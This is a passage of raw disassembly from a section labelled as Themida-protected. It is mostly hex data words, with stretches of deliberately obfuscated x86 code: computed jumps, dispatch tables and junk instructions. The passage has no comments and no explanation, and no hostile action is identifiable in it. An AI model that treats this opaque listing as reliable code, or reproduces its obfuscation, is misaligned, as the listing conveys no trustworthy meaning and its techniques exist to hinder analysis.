4AB0722Ah, 0C0187EDEh, 74795C16h, 0B6B080B2h, 4C15A991h dd 5C168458h, 567F5279h, 7ED84EAh, 0C5877374h, 48BC857h dd 0D28964B4h, 0E67h, 59D6CC9Dh, 0C898755h, 0BD3A3C08h dd 74F1E7B9h, 28A5A370h, 0BB887925h, 6D3C40BDh, 27F2F673h dd 0D4A4A825h, 0A7375DDAh, 5C879B41h, 55CA9D79h, 0F11610E0h dd 0D5A76D3Dh, 0BC5479DFh, 0EF8A07C0h, 0C7BB312Ah, 8C0h dd 937CA0F4h, 0C79A7F73h, 0AED2329Eh, 84F7E9Bh, 344ADE87h dd 752260BCh, 80CE4CD8h, 31083708h, 6B395FCBh, 0CC60486Dh dd 0CCC696BCh, 716B3A60h, 0E8B8BCDDh, 4D5E82EEh, 0A8DFFDA1h dd 6606CF63h, 0A0067293h, 737440C1h, 0F673E1A3h, 76B404CEh dd 0DC9E49Bh, 2EFF0000h, 0E9B7BB38h, 9E6A6EEBh, 491B1F9Ch dd 5D2D653h, 0DB878A07h, 0A21F1DEAh, 58D5CF9Eh, 0A878954h dd 0BF3C3606h, 75A30999h, 0FF795C87h, 10E0B72Ch, 6D3DF116h dd 0BAB64E73h, 2AF58401h, 25C1BB31h, 0EE000008h, 0B3B580A6h dd 94B9AF81h, 835618ACh, 7D90F662h, 1F752285h, 0FBCBF15Dh dd 0B0808401h, 0B61C18EAh, 795C9D66h, 84EA5012h, 9DA96B5Fh dd 0B717795Ch, 5C9D8B51h, 57EBAD79h, 35A1C295h, 1D42440Fh dd 2B91A135h, 73748C54h, 0BFE6C2Eh, 0F7B4043Dh, 0D2D651Ch dd 92630000h, 4D1B1F9Ch, 2CED24Fh, 0AD7F8300h, 69363AB7h dd 0BFEBEE6Bh, 683814Eh, 0BC393302h, 6EEBEDB8h, 23A09A6Ah dd 0D1076DFDh, 63795C86h, 82A61B90h, 2FD815AAh, 1FF5891Fh dd 0C3E9554Fh, 1FD3F8F6h, 59ED5351h, 120CDC90h, 0A05955EDh dd 31975623h, 0DF183CBBh, 466E8FECh, 6D4834C8h, 75000007h dd 739379A0h, 0A1C2957Fh, 8563CF35h, 0A7CD7522h, 464010DAh dd 0AED33921h, 14D632C6h, 0B62448A8h, 0EE2E9482h, 8A795C93h dd 0E42C98C8h, 0D2A2780Ch, 87575BD8h, 547A688Dh, 0F2ECBC86h dd 5EE15C8Ch, 5FDEE315h, 73609CBh, 5C0F7BA1h, 0D53BFD79h dd 18140369h, 5C1E7374h, 4B111EEh, 4B02DDB4h dd 0C67h, 59D6CC9Dh, 0C898755h, 0BD3A3C08h, 74F1E7B9h dd 28A5A370h, 0BB887925h, 6D3C40BDh, 27F2F673h, 0D4A4A825h dd 0A7375DDAh, 5C859B41h, 55CA9D79h, 7F4A10E0h, 0A70587Dh dd 676131E5h, 24DD7B42h, 57D4CE9Eh, 9797F519h, 3BE0BFD1h dd 0E99FDAA7h, 8617BB31h, 6F000001h, 5573A90Fh, 43057F73h dd 10E074AFh, 6D3DF116h, 92B8F673h, 332DFCC2h, 0A47739CDh dd 0CF5619B5h, 0BA2042C6h, 0C2FDE84Eh, 73FF755Bh, 7140AC32h dd 3A6A5277h, 389EBB1Eh, 0D8DAA6CCh, 6E37CBB3h, 5B29A67Ah dd 22DB2179h, 59E5D4A5h, 64E2C1h, 0F40F0000h, 72980421h dd 9981A6A4h, 9311C72Dh, 61237F73h, 0C057BDCDh, 0F2755BBEh dd 8614C42Ah, 5E20795Bh, 0F0688CF8h, 5C7CE2C4h, 0D8795B5Eh dd 5C61E616h, 0D636AAF9h, 0EB510073h, 7CA08E57h, 0D4118F65h dd 0ACC25660h, 795B9968h, 0A3C8C292h, 12620EFh, 4701BA1Ch dd 5AD790D6h, 0C159391Fh, 0A697h, 10E0C400h, 703DF116h dd 93D6066Ch, 0A0627F73h, 9161153Ah, 0EEBE7297h, 0FB3377F4h dd 1F7F73A7h, 0EF318B4Fh, 0A0C13E63h, 0FACDBD3Ah, 0DE443E0Dh dd 8A830C72h, 0DFA1755Dh, 0B6804D73h, 0DDC5EAE8h, 17E50B77h dd 60648519h, 4B01CB93h, 0AB53D313h, 5C30D745h, 0E1BCBE78h dd 0AFE2Ah, 6D633400h, 201EECF0h, 0D1D39FA3h, 887E5054h dd 3C3A070Bh, 1FEEBCBFh, 0D3D75452h, 898D0A04h, 3B3FBCBEh dd 0CEF4716Bh, 8400D83Eh, 6134795Ch, 0B180A6ECh, 804D23B7h dd 31010582h, 7BA09E6Bh, 9BC12D93h, 0C0A8CDCFh, 0E0A20B2Ch dd 3F11610h, 0EC110FDDh, 0EA329804h, 8E7F7393h, 926238CCh dd 39141B98h, 46000005h, 935880E6h, 4EDC7F73h, 8C20867Ch dd 0FE21F451h, 73934098h, 0CC32F47Fh, 0BDA0060h, 147A7845h dd 8C976A80h, 27E9755Bh, 0C9C795BBh, 0A4786C35h, 1F795B94h dd 0D6A320D9h, 0BCC15936h, 38CCC696h, 25D4Ch, 7BA07900h dd 937F7393h, 0E1379DC0h, 937F7393h, 9FFF6BD1h, 3DAFA979h dd 7F73939Fh, 0DAA5D799h, 0CE3444D8h, 7522855Eh, 0EC4CB87Ah dd 0D4F9FBC6h, 9E5880E6h, 1ADC795Ch, 7A4A20B4h, 4E1BE9B4h dd 0DD432B50h, 21E70B77h, 0EAC53BD3h, 101435C9h, 0B1AB7A40h dd 1438264Bh, 1BF1C3C5h, 0C98B1FCCh, 0FB61CDF6h, 73744A1Ch dd 0DE65416h, 0C1B404C3h, 9DD2FE6h, 42130000h, 0FDCBCF4Ch dd 0B27E82FFh, 5D2F33B0h, 19E6EA67h, 0CF9B9E1Bh, 0B63331FEh dd 6CE9E3B2h, 1E9B9D68h, 0D3504A1Ah, 61B71DADh, 13795C8Bh dd 80A6CB40h, 0A991B6B0h, 756F3F15h, 9C026250h, 7F73937Ch dd 640636F8h, 0CBC6F6A8h, 4D4AA3Eh, 0D4093A40h, 0F75547Bh dd 0B3AD7DA3h, 4912A68Eh, 0E74D482h, 7F73DBCEh, 1414A86Ah dd 0B05D55Bh, 5A2A508Eh, 0BF533B60h, 317787F2h, 1682FBBh dd 0E05C0000h, 3DF11610h, 0E307736Dh, 0F553E7C1h, 8892F17h dd 9F56BF23h, 9484A539h, 1438A4C1h, 669BDB0Bh, 4454E830h dd 5BD6F3DEh, 9C67F575h, 0D6EE2E94h, 0C88A795Bh, 0EF553D62h dd 0D602D6CAh, 377D795Bh, 7078017Eh, 0BA1AC159h, 5BDE8454h dd 5AEEB079h, 466Eh, 21F49B00h, 0AB329804h, 19755BBEh dd 0F92B21F3h, 1E062B2Dh, 0ADA22E8Ah, 0A3CAE5E3h, 484A1648h dd 17C9BDE2h, 70795B74h, 0EB7FF61Ah, 993315ABh, 8C4C0505h dd 0C5E39968h, 0C95D4E85h, 59437DFCh, 0BE39C1h, 0E0660000h dd 3DF11610h, 5F4D7270h, 0CF9A233Bh, 0F7DF0402h, 1B77BBC7h dd 0E7E1B187h, 4BB0D4C2h, 6C686383h, 8322FA60h, 94567F73h dd 342AFC2Eh, 0BD93270Fh, 6387F3EDh, 7020E2F4h, 3354E8F1h dd 73D127EFh, 35FBCB7Fh, 8F43686Ah, 0B9A1C6C0h, 8070ED53h dd 0B61C88ADh, 755DD429h, 0F2F0BD4Bh, 2DFA208Ch, 0E1AEB22Fh dd 9AAA75E3h, 6B46BE78h, 84EB4h, 0BDB38400h, 706E3C40h dd 2123EFF3h, 0D8CEA0A4h, 8C8A575Bh, 6F5E0C0Fh, 2327A4A2h dd 0D9DD5A54h, 8B8F0C0Eh, 1E44C1BBh, 89F0288Eh, 0B184795Ch dd 1513E03Ch, 65345A98h, 93D9FF65h, 995B7F73h, 0F4260E33h dd 0C0962A24h, 1079F6F0h, 0F11610E0h, 0F6736D3Dh, 297EFh dd 21F4F600h, 12389804h, 39214644h, 85438FA5h, 1FE17522h dd 9DD206FAh, 57AD795Ch, 0D4686231h, 0FB5B1BD4h, 5C9D4795h dd 9B2FF179h, 603DABCEh, 2187E7C1h, 795C89FBh, 89B563C9h dd 0FDBF795Ch, 3EF8345h, 227h, 937BA030h, 0C0937F73h, 9D137A3h dd 2B752285h, 3A08CE9Dh, 0C92F173Ch, 1D1F763h, 0A7759B07h dd 0F0F415A9h, 13012620h, 9D8F4DB3h, 0E1A9795Ch, 5C9D5D7Bh dd 0AF15D779h, 1DB1AF7Dh, 0FF6B885Bh, 748A8299h, 84F2B473h dd 0B4040043h, 5CB9704Bh, 92000007h, 4A4ECBC1h, 0FD017E7Ch dd 0AEB22F31h, 6569E6DCh, 1A1D9A98h, 0B2B07D4Ch, 68623135h dd 1A1CE7EBh, 0CFC9999Dh, 369C2C52h, 795C88E6h, 0E04ABF92h dd 3F11610h, 0DE1012DDh, 0A77D1113h, 0AB71D7D7h, 0CD7F7393h dd 0B980A50Bh, 1719E50Bh, 76760AF2h, 676737BDh, 7393DB01h dd 359B5D7Fh, 0D8D6A3C9h, 51282344h, 65BB312Fh, 167h, 1610E092h dd 6D6D3DF1h, 7393D107h, 3BA1637Fh, 8B5A80BEh, 683BFD91h dd 6E79DF4Bh, 90755B92h, 12373502h, 0B19FC42Ah, 4CB548Dh dd 74080308h, 5B14BA5Eh, 6BF0579h, 59B1F089h, 0DC42A2C1h dd 795B1C3Ch, 0F6E27638h, 29h, 0EF82A623h, 9354A35Eh, 21F4B64Ah dd 0AB329804h, 0CD755B51h, 2EF2E60Bh, 99795A97h, 5C1D9A53h dd 5AC15A33h, 0CCh, 4A10E087h, 70587D7Fh, 97F7E50Ah, 7393EB31h dd 4943137Fh, 0C2843C24h, 878B582Eh, 7393FB21h, 1FEF7D7Fh dd 0B2180025h, 4EB4B280h, 0ABA57529h, 802D286h, 196F478Bh dd 43137F73h, 9DCCC49h, 8D1A80ECh, 0AF755D4Ah, 8E5B81EDh dd 90F6F8C4h, 44420F13h, 78001FD6h, 1B893BEh, 61Bh, 0D8A8051h dd 0C03D3B09h, 71EEF0BCh, 28A59B6Dh, 0DC595724h, 6F3C8DD9h dd 21F0F471h, 0DBA6AA27h, 88585CD9h, 5BEB118Eh, 5C8F27F5h dd 97E5179h, 34B13E0h, 6A61102h, 8EB21E84h, 945F4649h dd 55856D92h, 0C12DD0D5h, 7309BD5Bh, 61F5B77Fh, 0FDE0240h dd 6B6D39D9h, 4D2E5E46h, 0BD93276Bh, 905A27EDh, 0B79FC4C2h dd 56EEB51h, 0F11610E0h, 0D5A76D3Dh, 0B5180315h, 40A68FCCh dd 9A9C671Bh, 262CE34h, 73767C9Ch, 0A236F87Fh, 2A7A81h dd 0E0810000h, 84AA1610h, 5922B6B8h, 7D73456Bh, 494313E9h dd 19D24A24h, 5DC9C393h, 934197FDh, 31F37F73h, 36757C9Dh dd 7C000000h, 0B1B180A6h, 73938D4Bh, 7FE5A77Fh, 8DE725Ah dd 25193E38h, 7F7393F2h, 0DE9E57F9h, 93C0187Eh, 0E6747F73h dd 20B41A18h, 147A7A4Ah, 7F7393C4h, 0CB48AE70h, 1010E062h dd 739372AAh, 0DE44067Fh, 1D4619B9h, 5E2B51B1h, 90B6CC60h dd 4752285h, 0E0B0D642h, 956569E6h, 98FE02CFh, 795C9D40h dd 66CC32F4h, 0A5CEA141h, 49431339h, 3A3FA5B5h, 38730D88h dd 14E40A76h, 395F9D1Ah, 634B706Ah, 8F4B91F7h, 2BED732Dh dd 0F7F1C197h, 305F32D2h, 2D8F12CAh, 0C9982673h, 5CC2AACFh dd 10668AF6h, 472F4AFCh, 0A30919ADh, 7905E604h, 3CE9E26Eh dd 4DB8ED19h, 0B74079E7h, 512CAAD5h, 49E9Ah, 0D03D400h dd 0C0BE8C90h, 71733F43h, 281EF0F4h, 0DCDAA7ABh, 0BF0E5C5Fh dd 7377F4F2h, 292DAAA4h, 0DBDF5C5Eh, 6E94110Bh, 8DA078DEh dd 1D4795Ch, 4A10E08Ch dd 745C817Bh, 0BD8D910Eh, 1AEA9EC3h, 9634FB20h, 0C18757DDh dd 0E8D0F5F3h, 6F0A0582h, 23BB312Fh, 0B7DF85FFh, 3ED2ECF4h dd 5D52h, 21F47F00h, 37AB8B3Ah, 3BA11125h, 0C61969CFh dd 0CF5B755Bh, 5EBB9F21h, 8EF46019h, 795B124Eh, 56C228EAh dd 497296F6h, 405D9A8h, 13459305h, 0A575795Bh, 0E69E86ABh dd 2822F224h, 0B1871B03h, 4A4C18E6h, 5AD73D25h, 5B13C016h dd 642AFA79h, 0B5329896h, 0BFE4E6B1h, 3E208h, 10E00F00h dd 1D1FEA10h, 7E9E10F8h, 0FA7F7393h, 0F9ADD238h, 90986329h dd 7393F22Ah, 5EC4867Fh, 6EEB5139h, 1E8AAB7Eh, 5B92ADB8h dd 0E80DCF75h, 5B9220F4h, 9C559B79h, 0EBE9B6DCh, 92C3197Fh dd 0B375795Bh, 2C27521Fh, 478FC159h, 0E7000000h, 8DF9EFC1h dd 5B9AF127h, 2DC18379h, 421F4F2h, 0BEAB3298h, 0F319755Bh dd 8D8F5B25h, 0F51A8068h, 911D790Dh, 0CD3F09Dh, 577CE251h dd 5BB0B163h, 0BC40A79h, 5952EB8Eh, 0B281A7C1h, 17AB93B8h dd 0C82Bh, 10E05800h, 703DF116h, 0E8E20672h, 0BFEC1A47h dd 2034E44Ah, 7E407F73h, 7BB8418h, 64183D37h, 0CE2E9A94h dd 7320B068h, 6B36C47Fh, 0F65C4469h, 0F1FD4162h, 0F97F733Dh dd 0AEB22F29h, 1FBFE4DEh, 55BB274Ch, 755B1D36h, 0B8BA86ACh dd 0BB17AB93h, 0B98C7CF9h, 98E78AD2h, 93F9B27Fh, 955AC127h dd 0D05C7375h, 0B82585F9h, 0C8349A3Eh, 6BD7D5A2h, 0CD77A50Bh dd 3F017320h, 0B9868AABh, 436A4DBBh, 1BF6B400h, 2C664h dd 352BFC00h, 0E8E6B4B8h, 999B676Bh, 5046181Ch, 402CFD3h dd 0E7D68487h, 9B9F1C1Ah, 5155D2CCh, 3078486h, 96BC3933h dd 8C78A006h, 29FC795Ch, 1513E0B4h, 66345A98h, 0C75B4368h dd 0AA2721F1h, 421F441h, 0BEAB3298h, 0BCD755Bh, 862EF2E6h dd 5399795Bh, 445C1D9Ah, 0CE5AC159h, 87000000h, 0C74C10E0h dd 0BBA05F11h, 0FDEB1076h, 0E70C0AD7h, 666833h, 0C5C9966Ch dd 0B0D5CF9Fh, 2C8656C8h, 0F0B27F73h, 0CDF2F0BEh, 665A7FE5h dd 7F733198h, 2C989262h, 2F291F08h, 9B2FA837h, 0E0A6767Ah dd 9F11610h, 0BDE7EA3h, 71187EEAh, 23755B49h, 0F3D1F561h dd 65062DE4h, 605A2A5Ch, 0E8BBABCCh, 69395FCBh, 65CBDB6Fh dd 7374CF15h, 0B319D5Fh, 0BFC3403Eh, 935928F2h, 4065CBC1h dd 0AB84F258h, 23B407BDh, 1DD9148h, 42130000h, 0FDCBCF4Ch dd 0B27E82FFh, 5D2F33B0h, 19E6EA67h, 0CF9B9E1Bh, 0B63331FEh dd 6CE9E3B2h, 1E9B9D68h, 0D3504A1Ah, 61B71DADh, 13795CB3h dd 13E0CB40h, 0E349A915h, 7F739335h, 0C8E97D3Fh, 7DFAF4C4h dd 1610E014h, 6D6D3DF1h, 7393D107h, 3BA1637Fh, 24EABABEh dd 0CFF45A54h, 0CB375C2Fh, 77A50B6Bh, 17F7393h, 9695AB3Fh dd 0C0755B8Bh, 5925D9FEh, 0B37E3257h, 0AD88CB1h, 0A7FFE70Ch dd 22F0762Fh, 0B117FF24h, 941AD367h, 5D4DCAC4h, 97FD698Ah dd 7373B2CCh, 0D387AC6Eh, 0AE40903h, 908E5C82h, 0EFEF836Bh dd 0D4F1C436h, 10E20868h, 2570861Ah, 47790B9Bh, 0A4CA0885h dd 0CFB7DCD2h, 9595653Bh, 0BA8E92Fh, 0AB71D76Dh, 0CD6D0BA8h dd 2B91530Bh, 85875206h, 0CAF09460h, 6969FDFFh, 5A5A2AB0h dd 0BA824F4h, 288E506Dh, 26F65CBCh, 526D0BA8h, 0EBDBFC90h dd 64622F18h, 0CC3292FEh, 6D0BA80Ch, 0D2C89A28h, 68C8D86Ch dd 0E5797342h, 23B0D8CFh, 1338FA67h, 70958F5Fh, 0CDF2ECBCh dd 2A4F4919h, 6677D878h, 0D63859DCh, 0B5FFB972h, 23F66821h dd 85729602h, 6D279DA4h, 2787972Bh, 3353301h, 8BA13537h dd 6DFB969Ch, 6288F4B6h, 88709597h, 0B666B61Ch, 501261BBh dd 0D8AB9BBCh, 8FEF4FBBh, 0BBB6F329h, 51C38561h, 61BBB68Bh dd 4757EBADh, 0EAA39CE1h, 8350DE6Bh, 12786085h, 39DBFFEDh dd 7A4BCB8Ah, 69390FA3h, 0EBDF036Fh, 55B921B6h, 0D3F8FAC5h dd 0D0F185EBh, 9602FCCCh, 661FBA72h, 8B73989Ah, 609DD25Bh dd 8B73988Eh, 0D4C89125h, 0C205A52Ch, 0F17730A8h, 0A6AA2721h dd 3B7DCD6h, 4A163B31h, 0A777FDB6h, 0CCF230ADh, 9A7004FAh dd 0F4ABD0CAh, 3, 0E03A87FBh, 40F4190Fh, 9D517670h, 0F7ABD0D2h dd 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h dd 0FFD4F9F7h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68240489h dd 313Ah, 53243489h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 0BD552404h, 55CF5F75h, 78D8ED81h, 0ED8175F3h, 7AF6611Ah dd 8B73F581h, 5E5562CAh, 48B545Dh, 4C48324h, 89F38953h dd 1C8B0858h, 4C48324h, 582434FFh, 4C481h, 348B0000h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 5C8FE95Ch, 0BE8AFFF9h dd 5EE79D8Bh, 0EF6E09FBh, 22CFB8C4h, 0C503062Fh, 0C54E0FFh dd 8C3978C0h, 0C88C12FEh, 663B543Fh, 0B3B92C0Dh, 0ECA2AF6h dd 74234240h, 0C3015D83h, 0E77B6D4Ah, 2EE41F19h, 0CAAF2FAEh dd 0E3052AFDh, 81A92640h, 0D2466B21h, 0D59E552Ch, 0F0A3008Ah dd 0E9AB58FAh, 0A7FD5F6Eh, 3D2D5858h, 8E2E5826h, 30337B3Bh dd 5DAF72EEh, 0BC5A3F3Eh, 73745A03h, 2E3B7A71h, 0B012AC5h dd 5FE95AF9h, 52000001h, 0E860D48Bh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62F23D7h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5BB869 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 865212A3h xor eax, ebx sub eax, 4 mov [ebp+6280715h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0EA81BD3Dh xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+62821BDh], eax mov eax, [edx+14h] mov [ebp+628113Dh], eax mov eax, [edx+18h] push ebx jmp loc_5BB82D ; --------------------------------------------------------------------------- push dword ptr [ebp+6282371h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6282E79h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6281321h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6282955h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+62801BDh] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6281819h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+62826BDh] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6282EC9h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+62826C9h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6281115h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6281D45h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+62805E1h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6281E85h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6280439h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+62822A9h] jmp loc_5BB841 ; --------------------------------------------------------------------------- push dword ptr [ebp+6282B59h] jmp loc_5BB841 ; --------------------------------------------------------------------------- loc_5BB82D: ; CODE XREF: Themida_:005BB778j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+62F2438h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5BB841: ; CODE XREF: Themida_:005BB783j ; Themida_:005BB78Ej ... call dword ptr [ebp+62814D9h] pop ebx loc_5BB848: ; CODE XREF: Themida_:005BB861j mov eax, [ebp+6280715h] cmp [eax+4], ebx jnz loc_5BB866 push ebx push 1 call dword ptr [ebp+6280465h] pop ebx jmp loc_5BB848 ; --------------------------------------------------------------------------- loc_5BB866: ; CODE XREF: Themida_:005BB851j popa pop edx retn ; --------------------------------------------------------------------------- loc_5BB869: ; CODE XREF: Themida_:005BB72Bj popa pop edx mov eax, 77D4C96Ah jmp eax ; --------------------------------------------------------------------------- dw 858Bh dd 6280DF5h, 25268D8Dh, 4189062Fh, 0E8C38B01h, 0Bh, 0D9F26C1Fh dd 41D02500h, 60E45293h, 6840Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- jmp loc_5BB8B3 ; --------------------------------------------------------------------------- db 75h, 0AEh, 0BAh dd 823C8108h, 25884514h db 68h, 0D9h, 0BEh ; --------------------------------------------------------------------------- loc_5BB8B3: ; CODE XREF: Themida_:005BB8A0j popa pop ebx call near ptr loc_5BB8C3+2 inc esp mov edx, 463E8CA6h xchg eax, ebp jno short near ptr dword_5BB874+17h loc_5BB8C3: ; CODE XREF: Themida_:005BB8B5p enter 0F49h, 83h ; --------------------------------------------------------------------------- db 0 dd 5E000000h, 7410C381h, 0BA660000h, 0D1BFAAB4h, 8000001Ch dd 33FF17F0h, 11E9h, 7F756000h, 6718BA9Eh, 138C91A2h, 0B95CB2B9h dd 81590E75h, 0E2F5E7C1h, 66506055h, 583F80BEh, 0AAE08166h dd 0F181615Eh, 355BAA24h, 81D1BF0Fh, 21F4D1E9h, 0EE81504Ch dd 6DFB1ACBh, 830B8958h, 8B6604EBh, 850F4FC2h, 12h, 23E9h dd 0A7A9100h, 0FBB6D970h, 5D803861h, 816674E6h, 0E92B40C8h dd 0FFFFFF92h, 74FA5A1Dh, 0A6F3BA9Bh, 0D71C02Bh, 36E9h dd 0F205F800h, 22h, 0Bh dup(0) dd 0E9000000h, 4EEh, 2F276468h, 597FE906h, 0F368FFF9h dd 0E9062F27h, 0FFF95975h, 2F297568h, 596BE906h, 9E6FFFF9h dd 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch, 754246C3h, 0ABF7FA77h dd 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h, 2FACA676h, 0C5137909h dd 6F795CB5h, 13E0279Ch, 6C3CF015h, 93D6066Ch, 0A0627F73h dd 86ECE3Ah, 7F7393D0h, 0ED0EA264h, 9D092AFDh, 5B80B437h dd 0FF24E675h, 5B80C90Bh, 0B36CB279h, 59424336h, 31073C1h dd 0A7CB0000h, 2E7C8350h, 80194843h, 713B71C5h, 0E53C770Bh dd 1C390C84h, 86734AB0h, 0C385755Bh, 60561137h, 0BF926430h dd 39042A96h, 2D93A337h, 76D6D1DEh, 648AF6B8h, 8F779C92h dd 0D7D6255Fh, 0CC60D366h, 0BF11503h, 90712537h, 0C89B5DF1h dd 7FDF3FABh, 0C677C319h, 1FB37576h, 0EEB38C09h, 6D4FA7Ch dd 67FBE308h, 0B7DD490Bh, 3270EDE7h, 1E433D0Ch, 0B464CA36h dd 0C070ADB3h, 0C4946AFEh, 15EE5CCAh, 0B38EB78Dh, 32FFCh dd 0B5AB7C00h, 68663438h, 191BE7EBh, 0D0C6989Ch, 84824F53h dd 67560407h, 1B1F9C9Ah, 0D1D5524Ch, 83870406h, 163CB9B3h dd 0B4F82086h, 0A97C795Ch, 421F434h, 0A8A27298h, 869E0414h dd 2E7522ADh, 193E3808h, 7F419D31h, 5820ED13h, 0E01D4511h dd 90F66246h, 795CD748h, 47C42AECh, 0E1AC7643h, 0D7A573D9h dd 0DCF795Ch, 0AFD541A7h, 4F4918E2h, 9E8C55E9h, 0D199A17Ah dd 17ABD44Fh, 5C2AC001h, 1E18E879h, 7C8C0CB0h, 46FDD8BEh dd 2A0h, 0A9261CEDh, 5CD9D7A5h, 0D8A8C58h, 0C4413709h dd 78F5F3C0h, 0BD82975h, 0BD8C900Dh, 774246C3h, 24F4F875h dd 0F787AD2Ah, 5CB44B91h, 0A51AED79h, 980421F4h, 22AD1232h dd 8FB47675h, 0B0AE7BA1h, 0F90FA38Bh, 795CB527h, 24A15AA0h dd 0C1605155h, 1A161h, 80A68E00h, 4A20B4B2h, 0EE14807Ah dd 0C891251Fh, 0EAE4B4DAh, 0B6B08056h, 4D764939h, 92907BE1h dd 0CA92755Bh, 5B92B464h, 98FEC079h, 3C36062Ch, 95976317h dd 0DED29B2Fh, 795B923Ah, 3C092F85h, 9D31193Eh, 1267E49Dh dd 0A4C1592Ch, 3Bh, 421F4D1h, 0BEAB3298h, 0F319755Bh, 38942826h dd 18E60A76h, 4890F6DFh, 0EC795B38h, 48C5FA2Ah, 0FCEAB347h dd 760A08D6h, 5BD1BC60h, 8C10779h, 5970EE8Bh, 0DDC8C1h dd 0E0F50000h, 3DF11610h, 0E2067270h, 0DAA7A099h, 9FCFB7DCh dd 0E377DA1Fh, 9C96661Ah, 0F9F3C377h, 9C9A678Dh, 0DAFB8F77h dd 734F7C96h, 0EA40647Fh, 490524BDh, 21F1C75Bh, 0C6CAA27h dd 73D776A6h, 0A274027Fh, 399F87ACh, 0F310E3A5h, 0C8966187h dd 0F0D8FDFBh, 86E6F68Ah, 0D718C026h, 5A1C7F73h, 7427B0C6h dd 8345755Dh, 8B51B717h, 0AD795974h, 16B7BBEBh, 0B951394Dh dd 22EF1525h, 0A860B81Eh, 52147959h, 36BD9C22h, 258B5E29h dd 25F359B9h, 4F7959B4h, 0D4D8F98Dh, 339B0907h, 0B9BE7912h dd 11E27DEh, 9A6B0000h, 552327A4h, 0AD6DA57h, 0B5878B08h dd 713E42BFh, 0A7F3F673h, 0E8B8956h, 0C4413B0Ah, 76F3F5C0h dd 2BA8A272h, 0C90F7505h, 6B795CBAh, 13E02398h, 0C4949815h dd 0E0E44DCAh, 3DF11610h, 6F6736Dh, 40A61233h, 755B4432h dd 0DE047032h, 71A70D11h, 3795BC3h, 1A5EDB41h, 795BC3C6h dd 0CA303000h, 795BC312h, 81FE6426h, 8DB2B07Dh, 0ABD6h dd 21F4DD00h, 16329804h, 7A7522ADh, 7FA593B8h, 4A20B4B2h dd 0C503807Ah, 0B5D9FF65h, 995B795Ch, 655F2F05h, 83264C40h dd 0F7C49DBFh, 411DAB2Fh, 6DD3DBF7h, 0CAC49448h, 0BC8BBDA5h dd 38D69DC2h, 0E56DC57Fh, 1BF91F85h, 3101547Fh, 29BD7F37h dd 8CB07029h, 70465110h, 0AE074E5h, 0BFC3403Ah, 1CD0F5EFh dd 632F544Ah, 50779BBFh, 9A8290Dh, 0FCBC7575h, 0E90E04D6h dd 0C7976D01h, 0EE1250CDh, 71C73093h, 0D3096FA9h, 65547F42h dd 3C0B3DA3h, 0A1351D42h, 6735FBCBh, 0EAA7D29Fh, 0F05632D6h dd 587DE3CBh, 3A1h, 3A87A800h, 0F4190FE0h, 51767040h, 0ABD0D29Dh dd 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch dd 0D4F9F7C5h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 511Bh mov [esp], edx push 5C67h mov [esp], esi push ebx mov ebx, 2633983h add ebx, 6D4546C2h not ebx push esi mov esi, 967859CBh xor ebx, esi pop esi mov edx, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push eax mov eax, 8 sub eax, 693B7C02h add eax, esi add eax, 693B7C02h mov [eax], edx pop eax push dword ptr [esp] pop esi add esp, 4 mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- db 3 dd 7EB79247h, 1BF07AB7h, 0B8B881C0h, 3062F2Ah, 0FDE0FFC5h dd 0F67ABE2Ah, 2E6551E6h, 863B4F75h, 0AC750285h, 0D2504CA7h dd 543C36Fh, 9E0F126Ah, 0A0354AB6h, 3E3BBCF3h, 723A0D27h dd 740CFF41h, 935CD33Bh, 17318586h, 343E5605h, 0F179B2Ah dd 9040155Ah, 0A0404C96h, 7036DE49h, 8D042569h, 2F2C7F8Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 66DD598Bh, 8937ADBBh, 282CC195h, 158D8906h dd 6A062807h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0D181C356h, 67E84A7Ah, 0A836AB2h dd 21BD85C7h, 6E5C0628h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0B3FE3DC3h, 6EF1214Dh dd 0AE867h, 3AC20000h, 327AE946h, 3C4C85D1h, 5AD2B70Fh dd 113D85C7h, 628h, 51600000h, 0C7EB8166h, 95895FB9h, 6280CDDh dd 0FFF88B61h, 